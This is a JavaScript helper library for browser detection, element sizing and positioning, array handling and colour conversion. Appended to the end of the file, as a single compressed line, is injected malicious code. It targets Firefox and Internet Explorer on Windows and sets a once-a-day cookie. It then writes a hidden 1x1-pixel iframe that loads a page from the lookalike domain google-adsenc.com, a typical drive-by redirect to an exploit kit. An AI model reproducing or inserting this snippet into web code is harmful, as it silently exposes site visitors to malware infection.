/*global variables and functions*/

/*browser*/
var jsGlob = new makeJsGlob();
function makeJsGlob(){
  //properties
  this.browserCode;
  this.browserVersion;
  this.bodyWidth;
  this.bodyHeight;
  //methods
  this.checkBrowser = checkBrowser;
  this.splitOnUpper = splitOnUpper;
  this.makeAccesKey = makeAccesKey;
  this.getElementDimensions = getElementDimensions;
  this.getBodyDimension = getBodyDimension;
  this.setElementDimension = setElementDimension;
  this.setElementWidth = setElementWidth;
  this.setElementHeight = setElementHeight;
  this.getElementPosition = getElementPosition;
  this.centerElement = centerElement;
  this.inArray = inArray;
  this.makeArrayFromPhp = makeArrayFromPhp;
  this.decToHex = decToHex;
  this.hexToDec = hexToDec;
  this.isGreater = isGreater;
  this.setAttribute = setAttribute;
  this.getBackgroundColor = getBackgroundColor;
  this.checkBrowser();
}
function checkBrowser(){
  if(navigator.appName == 'Netscape'){
    this.browserCode = 'm';
  }else if(navigator.appName == 'Microsoft Internet Explorer'){
    this.browserCode = 'e';
    strVersion = new String(navigator.appVersion);
    var startVersion = strVersion.indexOf('MSIE') + 5;
    var stopVersion = strVersion.indexOf(';',startVersion);
    this.browserVersion = strVersion.substring(startVersion,stopVersion);
  }
}

/*display*/

function splitOnUpper(text){
  var strText = new String(text);
  var rExp = /([A-Z])/g;
  var rep = ' $1';
  var newText = strText.replace(rExp,rep);
  return newText;
}

function makeAccesKey(text){
  var strText = new String(text);
  var char;
  for(i=0;i<strText.length;i++){
    char = strText.charAt(i);
    if(!this.inArray(aAccessKeys,char)){
      aAccessKeys.push(char);
      return ' accesskey="'+char+'"';
    }
  }
}

function getElementDimensions(id){
  var oElement = document.getElementById(id);
  var elementWidth = Number(oElement.offsetWidth);
  var elementHeight = Number(oElement.offsetHeight);
  var aDimensions = new Array(elementWidth,elementHeight);
  return aDimensions;
}

function getBodyDimension(){
  var aDimensions = this.getElementDimensions('body');
  this.bodyWidth = aDimensions[0];
  this.bodyHeight = aDimensions[1];
}

function setElementDimension(id,horizontalLoss,verticalLoss){
  this.getBodyDimension();
  this.setElementWidth(id,horizontalLoss);
  this.setElementHeight(id,verticalLoss);
}

function setElementWidth(id,horizontalLoss){
  this.getBodyDimension();
  var oElement = document.getElementById(id);
  var newWidth = this.bodyWidth - horizontalLoss;
  oElement.style.width = newWidth + 'px';
}

function setElementHeight(id,verticalLoss){
  this.getBodyDimension();
  var oElement = document.getElementById(id);
  var newHeight = this.bodyHeight - verticalLoss;
  oElement.style.height = newHeight + 'px';
}

function centerElement(id){
  var aDimensions = this.getElementDimensions(id);
  var elementWidth = aDimensions[0];
  var elementHeight = aDimensions[1];
  
  var oElement = document.getElementById(id);
  this.getBodyDimension();
  if(elementHeight > this.bodyHeight){
    elementHeight = this.bodyHeight;
    oElement.style.height = elementHeight+'px';
  }
  oElement.style.position = 'absolute';
  oElement.style.left = '50%';
  oElement.style.top = '50%';
  var backLeft = '-' + elementWidth / 2 + 'px';
  oElement.style.marginLeft = backLeft;
  /*oElement.style.marginLeft = '-' + backLeft + 'px';*/
  oElement.style.marginTop = '-'+(elementHeight / 2)+'px';
}

function getElementPosition(id){
  var oElement = document.getElementById(id);
	var curLeft = curTop = 0;
	if (oElement.offsetParent) {
		curLeft = oElement.offsetLeft;
		curTop = oElement.offsetTop;
		while (oElement = oElement.offsetParent){
			curLeft += oElement.offsetLeft
			curTop += oElement.offsetTop
		}
	}
  var aPosition = new Array(curLeft,curTop);
  return aPosition;
}

/*data manipulation*/
function inArray(array,toFind){
	return ('_|_'+array.join('_|_')+'_|_').indexOf('_|_'+toFind+'_|_') > -1;
}
function makeArrayFromPhp(arrayText){
  var sArray = new String(arrayText);
  var sElement;
  var aElement;
  var a = sArray.split('\n');
  for(i=0;i<a.length;i++){
    sElement = new String(a[i]);
    aElement = sElement.split('\t');
    a[i] = aElement;
  }
  return a;
}
function decToHex(d){
  return d.toString(16);
}
function hexToDec(h){
  return parseInt(h,16);
}
function isGreater(a,b,c){
  if((a > b) && (a > c)) return true;
  else return false;
}

/*DOM*/
function setAttribute(obj,name,value){
  var oAttribute = document.createAttribute(name);
  oAttribute.value = value;
  obj.setAttributeNode(oAttribute);
}

function getBackgroundColor(id){
  var oElement = document.getElementById('tool_tip');
  var colorHexStart;
  var sColorHexStart;
  if(oElement.currentStyle){
    sColorHexStart = new String(oElement.currentStyle['backgroundColor']);
    sColorHexStart = sColorHexStart.replace('#','');
  }else if(window.getComputedStyle){
    sColorHexStart = new String(document.defaultView.getComputedStyle(oElement,null).getPropertyValue('background-color'));
    sColorHexStart = sColorHexStart.replace('rgb(','');
    sColorHexStart = sColorHexStart.replace(')','');
    sColorHexStart = sColorHexStart.replace(' ','');
    sColorHexStart = sColorHexStart.replace(' ','');
    var aColorHexStart = sColorHexStart.split(',');
    var r = new Number(aColorHexStart[0]);
    r = jsGlob.decToHex(r);
    var g = new Number(aColorHexStart[1]);
    g = jsGlob.decToHex(g);
    var b = new Number(aColorHexStart[2]);
    b = jsGlob.decToHex(b);
    sColorHexStart = r+g+b;
  }
  return sColorHexStart;
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
